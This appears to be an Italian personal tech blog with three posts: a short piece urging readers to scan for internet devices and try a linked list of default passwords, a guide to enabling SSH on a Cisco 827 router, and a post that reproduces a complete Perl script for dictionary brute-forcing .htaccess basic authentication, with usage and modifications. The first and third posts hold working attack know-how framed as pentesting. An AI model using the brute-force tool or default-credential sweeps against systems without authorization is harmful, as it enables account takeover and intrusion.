05/05/2012

Le password robuste...

Avere a disposizione grandi budget da investire nella messa in sicurezza della propria infrastruttura informatica non implica l'invulnerabilità della stessa. Con questo voglio dire che nel 90% dei casi, le attività di cracking, anche le più banali, riescono grazie all'incapacità del sistemista, del tecnico di helpdesk o dell'utente vittima.

Privacy_2.jpg

Basti pensare che su Internet vi sono migliaia di dispositivi le cui interfacce di configurazione sono accessibili digitando username e password di default. Non ci credete? Incominciate ad usare nmap, magari all'interno di qualche script bash che colleziona determinati OS fingerprint e, una volta analizzati i risultati, provate una di queste credenziali di accesso:

http://www.phenoelit-us.org/dpl/dpl.html

"L'essere umano è il vero anello debole della catena".

Alla prossima.

08/11/2011

Abilitare SSH sul router Cisco 827v4

Come molti di voi già sapranno, telnet è un protocollo ormai obsoleto ed anche piuttosto insicuro, in quanto non cifra il flusso di dati. Proprio per questo motivo, ho deciso di abilitare SSH sul mio piccolo home router, dato che l'827 (a differenza del SOHO 77) lo supporta.

SSH, login local, username, password, telnet, cisco, SOHO 77, 827v4, vtyLogghiamoci sul router (via telnet o console), entriamo in modalità enable e successivamente digitiamo conf t:

NightRouter>ena
Password:
NightRouter#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
NightRouter(config)#

A questo punto, possiamo procedere con la definizione del dominio, digitando:

NightRouter(config)#ip domain name <nomedominio>

Il dominio è necessario per la creazione della coppia di chiavi RSA pubblica/privata che verranno utilizzate da SSH. Per generarle basta lanciare il comando:

NightRouter(config)#crypto key generate rsa

A procedura completata, possiamo settare i parametri relativi ad SSH, quali l'idle timeout ed il numero di tentativi di login errati consentiti:

NightRouter(config)#ip ssh time-out <secondi>

NightRouter(config)#ip ssh authentication-retries <numero tentativi>

I valori consentiti sono rispettivamente da 1 a 120 per l'idle e da 1 a 5 per i tentativi di login errati.

Definiamo adesso un utente locale, al quale verrà dato accesso al router via Secure SHell:

NightRouter(config)#username <username> password <password>

ed infine modifichiamo i perametri relativi alle vty, digitando quanto segue:

NightRouter(config)#line vty 0 4
NightRouter(config-line)#login local
NightRouter(config-line)#transport input ssh

Salviamo la configurazione con un copy run start:

NightRouter#copy run start

ed abbiamo finito.

A presto.

21/10/2011

Script perl per attacchi bruteforce contro l'autenticazione .htaccess

Premessa

Questo script non è farina del mio sacco. Il solo scopo di questo post è quello di mostrarne il funzionamento, in modo da semplificare la vita agli amministratori di sistema che volessero saggiare la robustezza delle credenziali .htaccess per l'accesso ai loro siti Web.

 

brute.jpg

Script

#!/usr/bin/perl
###
#
# brute password crackalacker. useful for anything that uses .htaccess
# or other basic authentication methods.
#
# don't use it for anything stupid. it's for pentesting.
# - nwo
#
# 11/2/2007
#
###

use LWP::UserAgent;

sub usage() {
$progname = $0;
print "+--- created by nwo ---+n";
print "$progname (ip) (user) (dictionary file)n";
print "n";
exit(0);
}

sub auth() {
local($pw) = @_;
$ua = LWP::UserAgent->new;
$req = HTTP::Request->new(GET => "http://$ip/");
$req->authorization_basic($user, $pw);
@data = $ua->request($req)->as_string;
foreach $line (@data) {
if($line =~ /401/) {
return "0";
} else {
return "1";
}
}
}
$ip = $ARGV[0];
$user = $ARGV[1];
$dict = $ARGV[2];
if($dict eq "") {
$dict = "D8.DIC";
}
if($user eq "") { &usage; }

open(D, "$dict") || die "$!";
while() {
chomp($line = $_);
print "Trying $line....";
if((&auth($line)) eq "0") {
print "failed. Next..n";
next;
}
if((&auth($line)) eq "1") {
print "success! Password is $linen";
exit(0);
}
}

Lo usage dello script (come riportato nel sorgente) è il seguente:

perl htbrute.pl <ip del sito> <user> <dizionario>

Ad esempio:

perl htbrute.pl 192.168.1.1 admin italian

In particolare, i dizionari sono presenti nella directory /usr/share/dict. Potete comunque installarne di nuovi mediante il comando:

nightfly@nightbox:~$ sudo apt-get install <nome del dizionario>

I dizionari disponibili per l'installazione sono i seguenti (divisi in base alla lingua):

wgerman-medical
wfinnish
wcanadian-small
wcanadian-large
wcanadian-insane
wcanadian-huge
wcanadian
wbritish-small
wbritish-large
wbritish-insane
wbritish-huge
wamerican-small
wamerican-large
wamerican-insane
wamerican-huge
wukrainian
wswiss
wswedish
wspanish
wportuguese
wpolish
wogerman
wnorwegian
wngerman
witalian
wgalician-minimos
wfrench
wfaroese
wdutch
wdanish
wcatalan
wbulgarian
wbritish
wbrazilian
wamerican
miscfiles

Infine, nel caso in cui il nostro sito fosse raggiungibile solo mediante HTTPS, basta modificare la seguente stringa:

$req = HTTP::Request->new(GET => "http://$ip/");

in:

$req = HTTP::Request->new(GET => "https://$ip/");

Discorso simile va fatto se occorre controllare una determinata sottodirectory:

$req = HTTP::Request->new(GET => "http://$ip/nomedir");

Buon PenTest.